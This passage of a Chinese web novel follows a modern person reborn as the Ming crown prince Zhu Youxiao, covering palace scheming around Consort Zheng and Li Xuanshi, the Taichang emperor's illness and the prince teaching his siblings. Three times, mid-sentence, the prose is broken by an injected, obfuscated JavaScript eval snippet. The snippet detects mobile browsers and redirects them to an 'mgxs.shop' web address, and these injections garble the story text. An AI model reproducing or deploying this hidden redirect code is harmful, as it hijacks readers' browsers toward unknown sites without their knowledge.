可惜他是,所以,拿来吧你! 慈宁宫门前长着两株几人合抱粗的紫檀木,树皮灰褐,枝叶扶疏。 朱笑笑费劲仰头望着树冠,忍不住琢磨,这种品级的木料要是砍了做成一整套家具传到现代,放苏富比拍卖应该能换套四合院吧? 算了,想想就刑。 正感慨着,宫门内转出一人,面白无须,身着深蓝曳撒,正是郑贵妃心腹崔文升。 “李选侍、长孙殿下万福。”崔文升躬身行礼,细长眼睛在西李那身紫衣上打了个转,“贵妃娘娘等候多时了,请。” 饶是李选侍存心巴结,见了慈宁宫内的装饰也不禁倒抽一口凉气。 汉白玉铺地,金丝楠为柱,窗镶云母薄如蝉翼,院中十几口青花大缸养着肥硕锦鲤。 殿内沉香扑鼻,波斯毯厚软如绵。 郑贵妃斜倚榻上,一身月白素缎,鬓边只簪一支白玉簪,脸上傅粉甚厚,见二人进来问安,她略抬手:“起来罢,看座。” 李选侍半个屁股挨着绣墩,赔笑道:“劳动娘娘等候,妾身罪过。” 郑贵妃打量朱笑笑几眼,温声道:“校哥儿这般大了,你小时候我还抱过你呢。上回先帝万寿节躲在人后怯生生的,如今瞧这眉眼倒有几分英气。” 朱笑笑躬身:“谢娘娘记挂。” 宫女奉茶,他接过来,只捧在手心暖着并不饮用。 郑贵妃也没心思理会他,与西李闲话几句,渐渐说到正题:“陛下新登基,后宫不可无主。只是中宫之位关乎国体,陛下自有圣裁。” 李选侍心头一热,忙道:“娘娘说的是!妾身愚钝,只知尽心伺候皇爷,照料校哥儿,不敢有非分之想。” “哦?”郑贵妃抿了口茶,似笑非笑,“我听说,昨日刘淑女的父亲上了请立中宫的折子?” 李选侍脸色一变,手指绞紧帕子。 郑贵妃放下茶盏,声音转低,“不过,若论功劳,谁又能及你?看你对皇长孙如此悉心照料,陛下到时自会论功行赏。” 李选侍如食蜜糖,激动得声音发颤:“娘娘提点的是!妾身知道该怎么做!” 郑贵妃三言两语把李选侍哄成了胎盘,朱笑笑暗自摇头,她无非是不想让李选侍跟她进献的美人争宠。 人都是喜新厌旧的,要真等到泰昌帝被美姬们伺候舒服,李选侍恐怕早就被忘到爪哇国去了。 郑贵妃见火候已到,便唤崔文升:“去将那套竹林七贤紫檀摆件取来,给校哥儿赏玩。”又对朱笑笑道,“听说你好木工,这套东西是当年三宝太监下西洋带回的,千年紫檀芯所雕,你拿去把玩罢。” 不多时,崔文升捧着托盘回来,托盘上铺紫绒,摆着七尊巴掌大的木雕,正是嵇康阮籍等七贤,雕工精细,衣袂飘飘。 朱笑笑眼一眯便看出端倪。 嵇康阮籍那两尊倒是真紫檀,木质紫黑油亮,纹理细密如缎。但向秀刘伶那几尊颜色偏红,纹理粗疏,分明是酸枝木冒充的。 好家伙,郑贵妃是被自己养的硕鼠忽悠了?还是故意拿他平账呢? 也罢,正愁没机会搅局,总不能让李选侍真巴结上她。 朱笑笑起身作势去接,手放到到托盘底下虚托着,崔文升没防备,直接松了手。 “哐啷!” 托盘坠地,七尊木雕滚落四处,那尊嵇康抚琴像的琴身喀嚓一声齐根断裂。 殿内霎时静极。 李选侍脸都白了,猛地站起:“校哥儿!你怎这般毛手毛脚!” 崔文升忙扑去捡拾,郑贵妃脸上笑容僵住,盯着断木,眼神渐冷。 朱笑笑蹲身捡起断木细看,抬头时一脸无辜:“娘娘恕罪,孙儿并非有意,只是觉得这木料有些蹊跷。” “哦?”郑贵妃声音冰寒,“何处蹊跷?” “紫檀木芯质地坚密,入水即沉。”朱笑笑举起断口,“可这茬口木纹松散,孙儿平日也玩些木料,若真是千年紫檀,摔这一下至多磕破边角,绝无齐根断裂之理。” 他又拾起完好的阮籍像,将两截断口并排而置,殿内光线明亮,两相对照差异一目了然。 珍藏爱物竟是以次充好,这个屈辱的事实如同巴掌扇在郑贵妃脸上。 李选侍吓得魂飞魄散,腿一软几乎瘫倒。 郑贵妃半晌不语,忽的轻笑出声:“好个长孙殿下,十五岁年纪就有这般眼力,不愧是朱家血脉。” 她挥挥手:“玩意儿而已,坏了就坏了。你既喜欢琢磨这些,便拿回去看能不能修补。” 朱笑笑也不穷追猛打,顺势谢恩,将碎木仔细包好揣入袖中。 临行前,郑贵妃又赏下一方锦盒以示补偿,里头宋徽宗年间的歙砚,总算挽回了脸面。 回慈庆宫路上,李选侍惊魂甫定,扯着朱笑笑疾走到僻静处发作:“小祖宗!你今日险些害死我!郑贵妃是什么性子?你竟敢当她面摔东西砸碗!” 朱笑笑任她数落,等她气稍平才低声道:“姨娘细想,若真是三宝太监遗宝,郑贵妃岂能轻轻放过?” 李选侍一怔:“你是说……” “那套摆件多半是赝品。”朱笑笑声音平静,“郑贵妃终究是昨日黄花,若先帝还在,你猜她会是什么态度。” 李选侍细细琢磨,也品出一丝不对,是啊,最宠爱郑贵妃的先帝没了,她如今连发现赝品都要忍气吞声,势力到底不如从前。 朱笑笑趁热打铁,状若无意道:“不过郑贵妃向来最能体察上意,我听闻她给父皇进了八个江南美人,个个能歌善舞,想必父皇会善待她。” 李选侍勃然变色,八个美人? 她一心霸着长子,泰昌帝面前难免疏忽,毕竟先帝走了没几天,她也不大敢痴缠。 没想到居然被郑贵妃偷了家! 李选侍想到这几天的百般讨好就生气:“好个两面三刀的老虔婆!她,她这是要掏空皇爷身子啊!”骂了两句,忽然跺脚,“快回宫!本宫要重新梳妆给皇爷送补汤去!” 朱笑笑看着她匆匆而去的背影,嘴角微扬。 回到寝殿,朱笑笑屏退左右,打开锦盒。 盒中一方歙砚雕镂古朴,他轻拭砚池边缘,指腹仿佛沾了些许暗红粉末,把手指放进笔洗,只见水色泛起淡橘。 朱笑笑也略懂些化学:“原来是朱砂啊。” 太典了,还好他不爱学习,吃灰去吧。 天色渐沉,朱笑笑刷完了每日任务,又从柜子里拖出一块半人高的乌木根,灰突突的,看着初具人形,他打算搓个哥斯拉来着。 岛国产物朱笑笑就对哥总有点兴趣,毕竟这是真招核。 弄个哥斯拉雕像拜一拜,说不定核物理学研究能领先世界几百年呢。 朱笑笑正专心施工,不知过了多久,魏忠贤闪身而入。 “小爷,崔文升升任司礼监秉笔,兼掌御药房的旨意今日下来了,奴婢特意交代御药房的朋友,让他留意崔文升的动静。” 朱笑笑停下动作,“可靠吗?” 魏忠贤说道:“此人名为李建元,乃是李时珍族人,如今在御药房任末职典药。此人精通药理,却因不擅钻营多年不得升迁。” 朱笑笑会意,画大饼的手艺魏忠贤还学得挺快,这个李建元既然与李时珍同族,也不知有没有继承祖宗的医学天分,可以试着发展。 “甚好。”朱笑笑颔首,“你告诉李建元,若崔文升抓药开方,定要设法存下他的支用记录。” 存档这种东西燃点太高了,这也是为了皇宫消防安全考虑。 魏忠贤喏喏退下,自去传话。 是夜二更,乾清宫骤然闹出动静。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275285|198210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 泰昌帝突发眩晕呕吐不止,已卧床不起。太医院诸太医并内阁三位阁老,首辅方从哲、次辅刘一燝、大学士韩爌皆夤夜入宫。 朱笑笑收到消息即令更衣,不戴冠,只以木簪束发,对镜自照,眼中适时浮起忧色。 演技这块,姐必须死死拿捏。 乾清宫前殿药气弥漫。 方从哲须发皆白,负手站在窗边愁眉不展。刘一燝坐在太师椅上,手里攥着医案,面沉如水。 韩爌来回踱步不止,恰好与进来的皇长孙当面,不免惊讶。 朱笑笑深揖:“学生见过三位老先生。” 方从哲等连忙还礼,虚扶了一把:“殿下孝心可嘉,只是陛下需要静养,殿下不如……” “父亲病重,为人子者岂能安寝?”朱笑笑抬头,眼眶微红,“敢问刘阁老,父皇病情究竟如何?” 刘一燝叹了口气,递过医案:“陛下脉象虚浮,气血两亏,又因……咳咳,外感风邪,致眩晕呕吐。太医已开方调理,然病去如抽丝,急需静养。” 话说得含蓄。 想什么呢,敢当着儿子面蛐蛐老子? 不要小看我和九族的羁绊啊! 朱笑笑接过医案扫了一眼,上面密密麻麻的医疗术语足够吓晕理科生。 他只知道人参黄芪是大补之物,泰昌帝受不受得了他不清楚,但肯定是要燃尽了。 朱笑笑泪光莹然,忽的转身朝内殿方向扑通跪下,连磕三个响头,声声闷响。 “皇天在上,后土在下!朱由校愿减寿十年换父皇龙体康健!若父皇有恙,儿情愿以身相代!” 声虽不高,字字泣血。 三位阁老俱是一震。 孝啊!太孝了家人们! 这不就是儒家梦寐以求的贤明圣君吗? 方从哲忙去搀扶:“殿下万万不可如此!孝感动天,陛下必能逢凶化吉!” 刘一燝亦动容:“殿下纯孝,实乃国本之福。” 韩爌虽未言语,目中亦露赞许之色,想着此子孝心可嘉,举止有度,倒不像宫中传闻那般只知木嬉。 想来是郑妃故意放纵所致。 朱笑笑顺势起身,拭泪道:“学生年幼,于朝政一窍不通。唯知孝悌人伦乃立身之本,父皇既欠安,学生愿日夜侍奉汤药,恳请三位老先生成全。” 既表孝心又示不涉政务,正中阁臣下怀。 方从哲捻须颔首:“殿下既有此心,老臣岂能阻拦?只是侍疾辛苦……” 话音未落,殿外忽然传来一阵喧哗。 李选侍尖利的嗓音穿透夜色:“你们算什么东西!也配拦本宫的路?” 郑贵妃进献的美人充作宫女日常服饰泰昌帝起居,太医来时几位美姬都自觉退到偏殿避让,只是牵挂皇帝身体,不免近前窥探,谁知正撞上李选侍。 那几个女子个个年轻貌美,衣着艳丽,李选侍看得两眼直冒火,偏她们还不长眼拦着她探视皇帝。 “李选侍,皇爷已经歇下了。”一个身着水绿襦裙的美姬不卑不亢道,“太医嘱咐需要静养,您还是明日再来吧。” 李选侍柳眉倒竖:“静养?皇爷就是被你们这些狐媚子祸害的!本宫要进去侍疾!” 另一个穿粉衫的美姬轻笑:“不是奴婢们非要拦,若皇爷因此病情加重,选侍担待得起吗?” 李选侍顿时炸了:“放肆!本宫是皇长孙的养母!你们这些贱婢也敢对本宫无礼?” 争执声越来越大,殿内的三位阁老脸色都沉了下来。 方从哲眉头紧皱,无知妇人竟在陛下寝宫外如此喧哗,成何体统! 刘一燝更是面露不悦,李选侍这般浮躁,如何担得起抚育皇长孙之责? 朱笑笑见状,快步走出殿外。 他走到西李身边,声音温和,“姨娘,父皇需要静养,您先回去吧。” 李选侍正在气头上,哪里肯听:“校哥儿!你看这些贱婢竟敢顶撞我,我要治她们的罪!” “姨娘!”朱笑笑提高声音,随即又压低,“她们是郑贵妃的人,怎好随意处置?还是等父皇醒了问过他再说,姨娘素来得脸,父皇必不会因为几个新宠让姨娘不痛快。” 才怪! 李选侍还不知道男人那点花花肠子吗?泰昌帝确实吃她撒娇弄痴那一套,但是新宠,宠的就是那股新鲜劲。 泰昌帝昏迷无法插手?那太好了! 李选侍是敢先斩后奏的,她自信只要这些美人不在跟前晃悠,泰昌帝就算生气也能被她哄回来。 朱笑笑深知她的这份自信,表面劝阻,实则恨不得大喊一句。 千万不要火并啊! 4. 赵姨娘大战芳官 天赐良机,事不宜迟。 李选侍打定主意要趁泰昌帝昏迷料理了这几个妖精,当即冷笑,“你们不过是郑贵妃送来的玩意儿!我就是处置了你们,皇爷也不会怪罪我的。” 粉衫美姬当即沉了脸:“选侍说话放尊重些,奴婢们虽是贵妃娘娘所赠,却是皇爷亲口留下的。今时不同往日,选侍现在就操起皇后的心未免为时过早。” 言语中流露出的傲气自然基于姐妹几人的绝俗姿色,选侍?哈!又比她们高贵到哪去了? 李选侍一心谋求后位,哪里忍得了这般挑衅?越发觉得几人是自己封后的绊脚石,竟不管不顾上前推搡几个美姬。 “我就让你们看看我有没有资格教训你们!” “娘娘自重!” 混乱间,不知谁踩了谁的裙角,只听刺啦一声,李选侍那身崭新的淡紫缕金宫装袖子被扯开了一道口子。 “啊!”李选侍尖叫起来,“我的衣裳!这可是苏州进贡的云锦!” 她登时发起狂来,撕扯头发肆意抽打,粉衫美姬也被推了个踉跄,珠花掉在地上摔得粉碎,另外几人虽奋力反抗,到底不及李选侍能撒野。 场面彻底失控。 内监们都呆住了,不敢上前掺和宠妃之间的战斗。 朱笑笑站在殿门口表演手足无措:“快住手!不要打了,你们不要再打了啦!” 朱笑笑:这样是打不死人的! 动静之大,闹得殿内三位阁老的脸色黑如锅底。 方从哲眉头皱得能夹死苍蝇,他活了七十多岁,历事三朝,还是第一次见到后宫妃嫔在皇帝寝宫外如此撒泼,拂袖道:“成何体统!成何体统!” 刘一燝更是气得胡子都翘起来了:“陛下病重,正需静养!这李选侍却有心思跟宫女饶舌,简直荒唐!” 韩爌摇头叹息,声音压得极低:“李选侍这般心性,如何担得起抚育皇长孙之责?陛下若真立她为后……” 他没说完,但意思很清楚,皇长孙纯孝仁弱,让这样一个养母占据礼法大义,对朝臣对江山而言都是一件极为恐怖的事。 连方从哲这么会端水的人都觉得窒息,再也忍不住大步走出殿外。 “放肆!”老人须发皆张,一声怒喝如惊雷炸响,“陛下寝宫之外,尔等竟敢如此喧哗!” 这一声吼把所有人都震住了。 李选侍动作一僵,回头看见三位阁老阴沉的脸,慌忙放开几个女子。 她太过气愤,竟忘了阁老们也在殿中,但并非担心被怪罪,皇帝家务事大臣可管不了。 “李选侍!”方从哲肃着脸,“陛下龙体欠安正需静养,你身为后宫妃嫔不思侍疾,反而在此争执惊扰圣驾,该当何罪?” 李选侍脸色煞白,却强撑着昂首:“皇爷的龙体就是被这几个贱人勾引坏的,本宫惩治罪魁祸首有何不可!” 韩爌气急:“选侍慎言,陛下只是偶感不适,即便宫女伺候不当心也不该当众责打。” 泰昌帝可以躲起来玩女人,他不说,他们不问。他一说,他们还惊讶,大家都有光明的未来。 偏偏李选侍只顾着争风吃醋,几乎把皇帝的脸面撕下来扔在地上踩,这可好,所有人都知道皇帝搞多人运动了。 李选侍不服,还想反驳,朱笑笑眼疾手快,一把拦住她。 “先生息怒。”他转身面向三位阁老,“姨娘也是一时情急,忧心父皇病情这才失了分寸,学生代姨娘向三位老先生赔罪。” 说着松开李选侍深深一揖到地,朱笑笑姿态放得极低,语气诚恳至极。 一番作派无不表明他是个极为顾念养母恩义的人。 方从哲看着他,又看了眼旁边面露得意之色的李选侍,心中不安愈发强烈。 皇长孙未得教导尚且如此知礼,一个后宫选侍却这般不堪,来日果真登临后位,借着名分与养育之恩辖制长孙,岂非又添外戚之祸? 内阁独大了这些年,除了偶尔看司礼监眼色,哪还忍得了外戚再来骑在头上作威作福! 方从哲打定主意,深吸一口气压下怒火:“殿下请起,李选侍今日所为,老臣自会据实禀报陛下。” 这话一出,李选侍有些慌了:“方阁老!你可要实话实说……” “姨娘。”朱笑笑打断她,语气温和地安抚,“您先回去吧,这里有儿子侍奉,父皇若醒了,儿子会向他转达您的苦心。” 李选侍自觉笼络住了他,既然儿子向着自己,皇帝肯定不会听大臣嚼舌根的。于是狠狠瞪了那几个美姬一眼,转身昂首挺胸地走了。 那几个美姬也慌忙行礼告退。 殿前终于恢复了安静。 朱笑笑回身,对着三位阁老又是一揖:“让三位老先生见笑了,姨娘她性子急躁些,但心是好的,她也是忧心父皇病情。” 皇长孙继续保持孝顺人设,主动替李选侍找了台阶。方从哲闻言脸色稍缓,但眼神中的不悦并未散去。 刘一燝比较直接:“陛下龙体欠安,李选侍这般浮躁,如何能替陛下分忧?” 就差指着鼻子说凭她这德行也想当皇后! 朱笑笑面上却露出几分惭愧无奈:“学生会好好劝劝姨娘的,只是学生年幼,有些话也不好说得太重。” 子不言父过,他真下手约束李选侍反而坏了纲常,显得对泰昌帝的安排不满似的。 得想个办法隔开他们,方不辜负皇长孙芝兰之质! 三位阁老对视一眼,难得从对方眼中看到了同样的想法。 方从哲沉吟片刻,缓缓开口:“殿下已年十五,按祖制也该出阁读书了。” 刘一燝点头:“正是!殿下孝心可嘉,学识亦当精进。待陛下龙体稍愈,老臣便上奏请立储君,为殿下择良师讲学。” 韩爌也道:“国本之事关乎社稷,殿下既已长成,当早定名分以安天下之心。” 这就对了,赶紧跟大老板催一下人事安排,别光顾着跟同僚互相攻击。 朱笑笑心中狂喜,面上还得装出惶恐模样:“学生才疏学浅,恐难当大任。且父皇正值春秋鼎盛,此事还是等父皇康复后再议吧。” 这番谦逊表态更让三位阁老满意。 方从哲捋须微笑:“殿下不必过谦,孝悌仁厚便是君子之本。至于学识,自有良师教导。” 正说着,内侍来报:“皇爷醒了,传三位阁老觐见。” 三人匆匆入内,待殿前无人,朱笑笑脸上的惶恐瞬间褪去。 系统界面在眼前亮起。 【方从哲忠诚度:45/100】 【刘一燝忠诚度:33/100】 【韩爌忠诚度:37/100】 鉴于朱笑笑之前贪玩的名声,三位阁老对他的印象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275286|198210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能是负数,现在这个数值涨幅算可以了,等他当上太子没准还能浮动一把。 朱笑笑沿着墙根缓缓踱步,忽然瞥见不远处窗下身着飞鱼服的身影晃过,心中一动,见左右无人,大步上前。 “骆大人?”他压低声音。 骆思恭自阴影中闪身而出,单膝跪地:“臣锦衣卫指挥使骆思恭见过殿下。” 朱笑笑虚扶一把,“深夜至此可是有要事?” 骆思恭起身,从怀中取出一份密报双手呈上:“殿下,臣的人查到些东西。” 朱笑笑接过,借着廊下昏暗的灯光快速浏览。 郑贵妃之兄郑国泰三日前密会福王旧属,而后开始重金求购朱砂、汞粉等物。 自嘉靖起道教兴盛,京中商铺至今仍供应许多炼丹材料,时人对于炼丹食用习以为常,没嗑死说明修行不够,嗑死说明飞升去了。 朱笑笑心知凭这个治不了郑国泰的罪,遂继续往下看。 昨日深夜,鸿胪寺丞李可灼秘密拜访郑国泰,两人在书房密谈半个时辰,李可灼走时带走了几张丹方。 果然不出所料,朱笑笑嘴角微扬,正史上郑国泰有没有掺和红丸案已经不重要了,因为这里是野史。 “好狗胆。”他声音平静,眼中寒光乍现,“骆大人,父皇若想服食这些来历不明的丹药,你待如何?” 锦衣卫的唯一效忠对象有且只有皇帝。 骆思恭眼光微动,试探开口:“疏不间亲,郑国泰乃外戚,皇爷未必会疑心于他,何况烧丹炼汞为道门修行之法,臣不敢妄言。” 既然说到这,他索性破罐破摔:“殿下,臣有一言,不知当讲不当讲。” “讲!”朱笑笑语带鼓励。 “今日三位阁老所言立储之事殿下当早作准备,朝中党争激烈,东林党、浙党、楚党各怀心思。殿下若不早定名位,按陛下如今的身子,只怕到时会再起争端。” 骆思恭是笃定泰昌帝没几天好活了,不止因为郑贵妃一系的暗算,还有朱笑笑这个亲儿子,分明洞若观火却没有阻止的意思。 他已经等不及要当皇帝了。 在临时忠诚度加持下,骆思恭自然双手双脚赞成。 他都要当皇帝了,我还不能效忠吗? 朱笑笑颔首微笑:“骆大人与本宫果然心有灵犀。” 骆思恭一愣,顺着朱笑笑的眼神看向乾清宫内殿的窗户,烛光摇曳,人影幢幢,依稀能听见三位阁老在里面与泰昌帝议事的声音。 太医们全力施为下,皇帝总算清醒过来。 方从哲只提了一嘴李选侍大闹乾清宫的事,也没带个人情绪,但要是泰昌帝依然想立李选侍为后,就得考虑一下影响了。 事实证明泰昌帝也没有那么想要孝期胡搞的名声,可能对李选侍的作为真有些恼火,难得没替她辩白。 大概是见领导终于能心平气和采纳意见,韩爌趁热打铁:“陛下,皇长孙纯孝仁厚,实乃国本之福,臣以为当早定名分,以安天下之心。” 泰昌帝沉默片刻,用虚弱的声音回道:“朕知道了,内阁拟旨吧,待司礼监用印便昭告天下。” 这么说李选侍今日闹这一出并非偶然! 骆思恭听得分明,顷刻间便串起前因后果,心脏噗通噗通狂跳,太子之位这便到手了? 那皇帝确实可以准备死一下了。 5. 牛马预备役 昨晚一通闹腾后,立太子的事总算得到了泰昌帝首肯,这两天他忙着养病,册封的事就交给内阁和司礼监去走流程。 朱笑笑心态很稳,除了例行去泰昌帝病榻前扮演孝子,整天好吃好睡。 这日清晨,刚打完一套八段锦,朱笑笑回到屋里正拿起布巾拭汗,就听见殿外廊下传来孩童的呼唤。 “大哥起了吗?” 是朱由检的声音,九岁的孩子还没进入变声期,但语气里已经带上了老成持重的调子。 朱笑笑嘴角一弯,扬声道:“进来吧。” 殿门被推开一条缝,先探进来个小脑袋。朱由检一身青布道袍,头发梳得一丝不苟,用同色布带束着。 身后跟着两个小尾巴,十岁的朱徽妍牵着八岁的朱徽媞,皆穿着厚实的长袄,鹅黄葱绿地在朱笑笑面前排排站。 “给大哥请安。”朱由检率先躬身,动作标准,朱徽妍跟着福了福,朱徽媞却已挣开姐姐的手,颠颠跑过来抱住朱笑笑的腿,仰起小脸。 “大哥哥,我的木头小鸟什么时候做好啊?” 朱笑笑弯腰把她抱起来掂了掂,宫里的伙食也不讲究营养均衡,加上这段时间守孝,每个人脸上的婴儿肥都消了不少。 小小一间寝殿这就集齐了泰昌帝硕果仅存的子女们。 朱由检仍随生母刘淑女住在慈庆宫后的勖勤殿,朱徽妍也跟着母亲傅选侍。 唯有朱徽媞生母,也就是西李选侍,早年还想再生个儿子,后来转移目标光顾把着朱笑笑,女儿只管丢给乳母照看。 朱笑笑对几个孩子和善,并不是说什么母爱大爆发,都是人手不足闹的。 教育要从娃娃抓起,由于朱常洛地位不稳,他也没心思和子女培养什么感情,更别提教育了。朱笑笑有心发展几个本土人才,毫不客气地暂代父职,跟弟妹关系都处得很好。 在他看来,只要不是魔童,带孩子也可以很简单。 朱笑笑让人端上几碟糕点,把朱徽媞放到凳子上,招呼另外两人坐下分食。 小家伙们吃得香甜,朱笑笑倒了三杯温水,随口道:“五弟,先前给你的那套榫卯积木玩得如何了?” 朱由检放下啃了一半的枣泥酥,正襟危坐:“回大哥,已能拼出七种样式,只是最后一座八角亭的顶盖结构试了三次都未能严丝合缝。” 说着从袖中掏出个小布包展开,里面是几十个拇指大小的积木构件。 木料是普通的樟木,但朱笑笑打磨得很光滑,榫卯切割也很精准。 他拿起一个带斜槽的构件,“拼接的时候要稍作偏转,而非直上直下。”边说边演示。 朱由检凑近了,小脸绷得紧紧的,眼神专注地看着困扰已久的难题在兄长手中解决,研究片刻后恍然大悟:“原来如此!我总想着横平竖直,却忘了建筑多有斜角!” 朱笑笑挑眉:“喜欢盖房子?” 朱由检点头:“喜欢!大哥前年送我的那座黄鹤楼模型我拆装了七遍,每遍都能发现新的结构巧思。”他眼睛亮起来,“尤其是那飞檐斗拱,层层叠叠却能承重,真是鬼斧神工。” 这小子若对建筑感兴趣,那朱笑笑的专业知识就后继有人了。 兄弟,你要相信我可从没想拿你当猪养。 “既喜欢,以后大哥教你更复杂的。”他揉了揉朱由检的头,“不过最近事多,先把功课做好。” 朱由检乖巧答应,旁边朱徽妍吃完糖蒸栗粉糕,擦擦手凑了过来:“大哥,我也有功课!” “哦?傅娘娘给你布置了什么?” “背诵《女训》!还有针线!”朱徽妍伸出小手展示上面几个针眼,“你看,我才绣了一朵梅花就扎成这样,娘还说绣得像被虫子啃过的。” 小姑娘说着眼圈有点红了,朱笑笑无奈,傅选侍也太心急了些,公主绣工好不好无所谓,又不用靠她养家。他看朱徽妍手指细长,骨节分明,更适合弹琴或者作画。 “六妹不喜欢针线?” 朱徽妍低头玩衣角:“不喜欢。”只有在这里才敢说心里话,因为大哥从不打小报告。 “那你喜欢什么?”朱笑笑耐心询问。 朱徽妍抬头,眼睛亮晶晶的,“我喜欢听宫外的货郎叫卖声,他们唱起歌来比娘念的诗好听。” 货郎走南闯北,民俗不同,各自带着乡音韵味,看来这孩子喜欢音乐。 朱笑笑没有非把她培养成科学家的想法,看孩子有没这个天赋吧,当个艺术家也很好啊。 他走到墙边那排多宝格前,从最上层取下一个巴掌大的木匣打开,里面躺着一排长短不一的薄木片。 “弹一下试试。” 朱徽妍好奇打量着,指甲轻轻一弹。 “叮。” 乐音清脆如玉磬轻击,她惊喜地瞪圆了眼睛。 “这是我做的八音木片,按宫商角徵羽排列。”朱笑笑把盒子递给她,“每片音高不同,组合起来能弹出简单的曲子。” 朱徽妍立马来了兴致,手指拨弄叮叮咚咚,虽不成调,但每个音都干净利落。她越弹越兴奋,小脸红扑扑的,完全忘了刚才的委屈。 至少比绣花更开心。 朱笑笑还拿来了给朱徽媞的木头小鸟,这下她也坐不住了,紧盯着朱笑笑拧动底座机括。 接着小鸟的头便开始一点一点,翅膀微微颤动,甚至发出咕咕的模拟叫声。 “好玩!”朱徽媞快活地拍手,伸手要抓。 朱由检在一旁看着,忍不住提醒道:“八妹小心别抓坏了,大哥做这个要费好多功夫的。” “无妨。”朱笑笑把小鸟递给朱徽媞,“坏了再做就是。”他见小姑娘抱着小鸟爱不释手的模样,忽然问,“八妹喜欢鸟?” “喜欢!”朱徽媞重重点头,“它们会飞!” “那你知道鸟为什么能飞吗?” 朱徽媞茫然摇头。 朱笑笑又从多宝格下层取出一个木制滑翔机模型,翼展一尺,特地用了最轻的桐木。 “因为它们的翅膀是这个形状。”他举起模型讲解,“上凸下平,风吹过去时,上面的气流快,下面的气流慢,就产生了……” 他顿了顿,现在教空气动力学原理对小学生是不是太超纲了? 啧!管他呢,启蒙运动先搞起来再说。 “就产生了飞起来的力量。”朱笑笑换了更通俗的说法,“来,看大哥给你们演示。” 他领着一串小尾巴走到窗边,推开窗,晨风涌入带着秋日的凉意,将滑翔机轻轻往前一送。 模型滑出一道优美的弧线,在窗外盘旋半圈,又转个方向往回,悠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275287|198210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悠落在铺着地毯的地面上。 “好玩!好玩!”朱徽媞兴奋得直蹦,跑去捡起模型打算自己放飞。 朱由检和朱徽妍也围过来,三个孩子挤在窗边,你一次我一次地放滑翔机,木制翅膀划破空气发出轻微的呜呜声。 朱笑笑靠在多宝格边欣赏这一幕。 古代关于飞天的传说记载,当然了不是万寿帝君梦寐以求那种,而是陶成道,也就是万户。 他用一种以身殉道的勇气成功在广寒小区全款拿下地皮,向世人证明有梦想谁都了不起。 朱笑笑不确定自己这只蝴蝶能不能给大明扇出个飞行员来,但他坚信,若真改变了明朝灭亡的结局,终究会等到种子长成参天大树的。 河南,祥符县。 天色渐亮,张居正早早起身去母亲陈氏院子里问安。 东厢房的门开着,陈氏已经起了,正坐在窗边的罗汉床上对账。见女儿进来,她放下手中的算盘,脸上露出温柔笑意:“嫣儿来了?快过来。” 张居正恭敬行礼:“给母亲请安。” 陈氏拉她在身边坐下,温热掌心暖着她微凉的手,张居正习以为常,任由母亲摩挲自己。 前世进入官场后,便再回不去那无忧无虑的孩童时光,多年分居两地,唯有生命中最后几年得以将那时的母亲接到身边奉养,却最终连累得她不得善终。 每每念起,张居正都不免悲恸。 但心中对今生的母亲与前世并无高低之分,哪个都是生养她的人。 能有机会再次承欢母亲膝下已然是种福分。 陈氏拿过账本笑道:“正要与你说呢。满庭芳的分红送来了,比上季多了三成。”她翻到最后一页,指着上面的数字,“你瞧,净利润二百八十七两六钱。” 张居正接过账本细看。 满庭芳是开封名气最大的香坊,陈氏陪嫁铺子会定期送一批制好的熏香挂在那里售卖,单单一款雪中春信便极受文人雅士推崇,销量向来很好。 配方自然是张居正琢磨出来的,她不过以己度人,读书人最爱那种调调她还不知道吗? 张国纪要继续科举,开销必定越来越大,他们又不是富贵人家,那点家资肯定先紧着赶考用。 清贫日子张居正能过,但她不过,也不想陈氏跟着拮据度日。 旁的生意没那么好掺和,只有文人的生意最好做了,这帮人一旦喜欢什么东西追捧起来,很快就能炒出远超事物本身的价值。 如此一年能多个四五百两的进项,陈氏出门应酬也从容许多,花不完的积攒下来够张国纪考到五十岁了。 陈氏爱怜地抚了抚她的发髻,“那香连老行家都赞叹,说是清雅不俗颇有古意,自打用了你的方子,铺子生意越来越好了。” 她握住女儿的手,感受着指腹的薄茧。 “我这些日子相看了几户人家,最远不过开封府内人士,你自来是个有主见的,且看看可有中意哪个。”陈氏声音轻下来,颇为感慨。 “我私心是想让你嫁在祥符,这样想你了提脚就能见到,但开封也无妨,套车半日就到了,不碍什么,你只管随心。” 张居正抬眼对上母亲关切的目光,喉咙滚了几滚,终究开不了口。 原来出仕与出嫁也并无两样,忠孝仍是那么难两全。 6. 全款拿下太子位 张居正忽然起身在陈氏面前跪下,额头抵着母亲的膝。 陈氏吓了一跳,忙扶她:“这是做什么?快起来!” 